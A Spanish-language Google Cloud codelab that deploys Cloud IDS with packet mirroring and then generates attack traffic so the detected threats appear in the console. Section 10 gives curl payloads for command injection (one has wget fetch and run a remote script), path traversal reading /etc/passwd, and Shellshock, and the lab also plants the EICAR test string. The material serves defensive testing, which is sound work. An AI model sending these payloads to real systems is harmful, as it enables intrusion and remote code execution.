IDS de Cloud

1. Introducción

En este lab, implementarás IDS de Cloud, un servicio avanzado de detección de intrusiones de nueva generación que proporciona detección de amenazas de intrusiones, software malicioso, software espía y ataques de comando y control. Deberás simular varios ataques y verás los detalles de la amenaza en la consola de Cloud.

Qué aprenderás

  • Cómo crear un extremo del IDS de Cloud
  • Cómo crear 2 máquinas virtuales con comandos de gcloud
  • Cómo crear una política de duplicación de paquetes
  • Cómo simular un tráfico de ataque desde una máquina virtual
  • Cómo ver los detalles de las amenazas en la consola de Cloud y en Cloud Logging

Requisitos

  • Conocimiento de comandos básicos de Linux

2. Casos de uso de Cloud IDS

IDS de Cloud proporciona un servicio de detección de intrusiones (IDS) de próxima generación nativo de Google Cloud para que los clientes cumplan con sus requisitos de detección avanzada de amenazas y cumplimiento, como PCI 11.4. El servicio cuenta con la tecnología de protección contra amenazas de Palo Alto Networks para proporcionar detección avanzada de intrusiones. La combinación de la infraestructura de primer nivel de Google Cloud con la seguridad de primer nivel de Palo Alto Networks proporciona a los clientes una combinación inigualable de un servicio de detección de amenazas avanzado, completamente administrado, de alto rendimiento y con la mayor eficacia de seguridad.

A medida que los clientes migran a la nube, la seguridad es una de sus principales prioridades. Quieren tener controles de seguridad similares a los que tienen en las instalaciones, como el servicio de detección de intrusiones (IDS) en la nube. Prefieren usar una solución de IDS administrada nativa de la nube para facilitar la implementación, obtener un alto rendimiento y optimizar los costos en comparación con la implementación de una solución de seguridad de terceros y la administración de la infraestructura o el uso de sus propias firmas. Google Cloud IDS proporciona un servicio IDS administrado integral y con ajuste de escala automático que permite a los clientes dedicar su tiempo a analizar y mitigar las amenazas, y libera su tiempo y recursos para administrar la infraestructura o las firmas de amenazas.

El IDS de Cloud se implementa fuera de banda y puede detectar amenazas y generar alertas sobre ellas, pero no puede bloquearlas. Aprovecha la duplicación de paquetes de Google Cloud para hacer una copia del tráfico de red que se analiza con el motor de detección de amenazas de Palo Alto Networks.

3. Topología del codelab

5a276f399e1d31e2.png

Figura 1: Descripción general de la arquitectura de alto nivel de la implementación de IDS de Cloud para este lab.

4. Configuración y requisitos

Configuración del entorno de autoaprendizaje

  1. Accede a Google Cloud Console y crea un proyecto nuevo o reutiliza uno existente. Si aún no tienes una cuenta de Gmail o de Google Workspace, debes crear una.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • El Nombre del proyecto es el nombre visible de los participantes de este proyecto. Es una string de caracteres que no se utiliza en las API de Google y se puede actualizar en cualquier momento.
  • El ID del proyecto debe ser único en todos los proyectos de Google Cloud y es inmutable (no se puede cambiar después de configurarlo). Cloud Console genera automáticamente una string única, que, por lo general, no importa cuál sea. En la mayoría de los codelabs, debes hacer referencia al ID del proyecto (suele ser PROJECT_ID). Por lo tanto, si no te gusta, genera otro aleatorio o prueba con uno propio y comprueba si está disponible. Después de crear el proyecto, este ID se “congela” y no se puede cambiar.
  • Además, hay un tercer valor, el Número de proyecto, que usan algunas API. Obtén más información sobre estos tres valores en la documentación.
  1. A continuación, deberás habilitar la facturación en Cloud Console para usar las API o los recursos de Cloud. Ejecutar este codelab no debería costar mucho, tal vez nada. Si quieres cerrar los recursos para no se te facture más allá de este instructivo, sigue las instrucciones de “limpieza” que se encuentran al final del codelab. Los usuarios nuevos de Google Cloud son aptos para participar en el programa Prueba gratuita de USD 300.

Inicia Cloud Shell

Si bien Google Cloud y Spanner se pueden operar de manera remota desde tu laptop, en este codelab usarás Google Cloud Shell, un entorno de línea de comandos que se ejecuta en la nube.

En GCP Console, haga clic en el ícono de Cloud Shell en la barra de herramientas superior derecha:

bce75f34b2c53987.png

El aprovisionamiento y la conexión al entorno deberían tomar solo unos minutos. Cuando termine el proceso, debería ver algo como lo siguiente:

f6ef2b5f13479f3a.png

Esta máquina virtual está cargada con todas las herramientas de desarrollo que necesitarás. Ofrece un directorio principal persistente de 5 GB y se ejecuta en Google Cloud, lo que permite mejorar considerablemente el rendimiento de la red y la autenticación. Puedes realizar todo tu trabajo en este lab usando simplemente un navegador.

5. Antes de comenzar

Habilita las APIs

En Cloud Shell, asegúrate de que tu ID del proyecto esté configurado.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Habilita todos los servicios necesarios

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Crear red de VPC

Red de VPC

Desde Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subred

Desde Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Acceso privado a servicios

Desde Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Conexión de Private Service Connect

Desde Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Reglas de firewall

Para permitir que IAP se conecte a tus instancias de VM, crea una regla de firewall que cumpla con lo siguiente:

  • Se aplica a todas las instancias de VM a las que deseas acceder mediante IAP.
  • Permite el tráfico de entrada desde el rango de IP 35.235.240.0/20. Este rango contiene todas las direcciones IP que IAP usa para el reenvío de TCP.

Desde Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Para permitir el puerto HTTP estándar (TCP 80) y el protocolo ICMP en el servidor, haz lo siguiente:

  • Se aplica a los recursos con la etiqueta de red "servidor".
  • Permite el ingreso desde todas las fuentes

Desde Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Crea una instancia de Cloud NAT

Cloud Router

Desde Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Desde Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Crea un extremo del IDS de Cloud

En esta sección, crearás un extremo del IDS de Cloud en us-east1 con una gravedad establecida en informativa. La creación del extremo del IDS tarda aproximadamente 20 minutos.

Extremo de IDS

Desde Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Verifica que se haya iniciado el extremo del IDS de Cloud

gcloud ids endpoints list --project=$PROJECT_ID

Resultado:

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Crea 2 máquinas virtuales

En esta sección, crearás 2 máquinas virtuales. El primero será tu servidor web, que se replicará en el IDS de Cloud. La segunda máquina virtual será la fuente de tu tráfico de ataque.

Máquina virtual 1 (servidor)

Desde Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Máquina virtual 2 (cliente)

Desde Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Preparando el servidor

En esta tarea, validarás tu servidor y proporcionarás una carga útil de malware benigno para tu cliente.

Conéctate a la VM a través de SSH en Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Confirma que el servicio web se esté ejecutando

sudo systemctl status nginx

Salida: Verifica que esté activo y en ejecución

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Cambia el directorio al servicio web

cd /var/www/html/

Crea un archivo de malware benigno en el servidor web

sudo touch eicar.file

Pega el contenido

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Regresa a Cloud Shell

exit

Crea una política de replicación de paquetes del IDS de Cloud

Identifica la regla de reenvío del extremo de IDS y confirma que el estado del extremo de IDS sea "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Ejemplo de resultado: Copia el valor de "endpointForwardingRule".

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Guarda la regla de reenvío del extremo de IDS en una variable.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Política de duplicación de paquetes

Desde Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Verifica que se haya creado la política de duplicación de paquetes

Desde Cloud Shell

gcloud compute packet-mirrorings list

Salida

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simula tráfico de ataque

Establece una conexión SSH a la máquina virtual del atacante (cliente).

Desde Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Ejecuta las siguientes solicitudes de curl para simular tráfico malicioso.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Sal de la VM para volver a Cloud Shell

exit

11. Revisa las amenazas que detectó el IDS de Cloud

Navega al panel del IDS de Cloud

Menú de navegación > Seguridad de red > IDS de Cloud

37583419aa604aa8.png

Navega a la pestaña Amenazas.

b7d934f409b4e2b.png

Como puedes ver, el IDS de Cloud capturó varios perfiles de tráfico de ataque y proporcionó los detalles de cada amenaza. Es posible que debas hacer clic en el botón "Actualizar" si no aparece ninguna amenaza. Ahora profundizaremos un poco más y revisaremos los detalles de la amenaza.

Ubica la amenaza "Bash Remote Code Execution Vulnerability", haz clic en los tres puntos que se encuentran a la derecha y selecciona "Ver detalles de la amenaza".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Ahora, veremos los detalles de este incidente en Cloud Logging. Haz clic en la flecha hacia la izquierda para volver a la página Amenazas .

Haz clic en los tres puntos que se encuentran a la derecha y selecciona "Ver registros de amenazas".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Los mismos detalles se proporcionan a Cloud Logging. Esto te permite enviar los registros a Cloud Storage, Chronicle o cualquier SIEM/SOAR. También puedes crear flujos de trabajo personalizados para ejecutar una acción de corrección basada en alertas, por ejemplo, crear una Cloud Function que se active cuando reciba una alerta y cree o actualice una regla de firewall para bloquear la dirección IP, o bien crear o actualizar una política de Cloud Armor.

12. Pasos para la limpieza

Sal de la instancia de VM (todas las pestañas)

exit

Borra los componentes del lab desde una sola terminal de Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. ¡Felicitaciones!

Felicitaciones por completar el codelab.

Temas abordados

  • Casos de uso de Cloud IDS
  • Requisitos de red
  • API admitidas
  • Se creó un extremo del IDS de Cloud
  • Se implementaron 2 VMs
  • Se generó tráfico de "ataque" desde el cliente.
  • El IDS detectó amenazas verificadas
  • Revisa los detalles y los registros de amenazas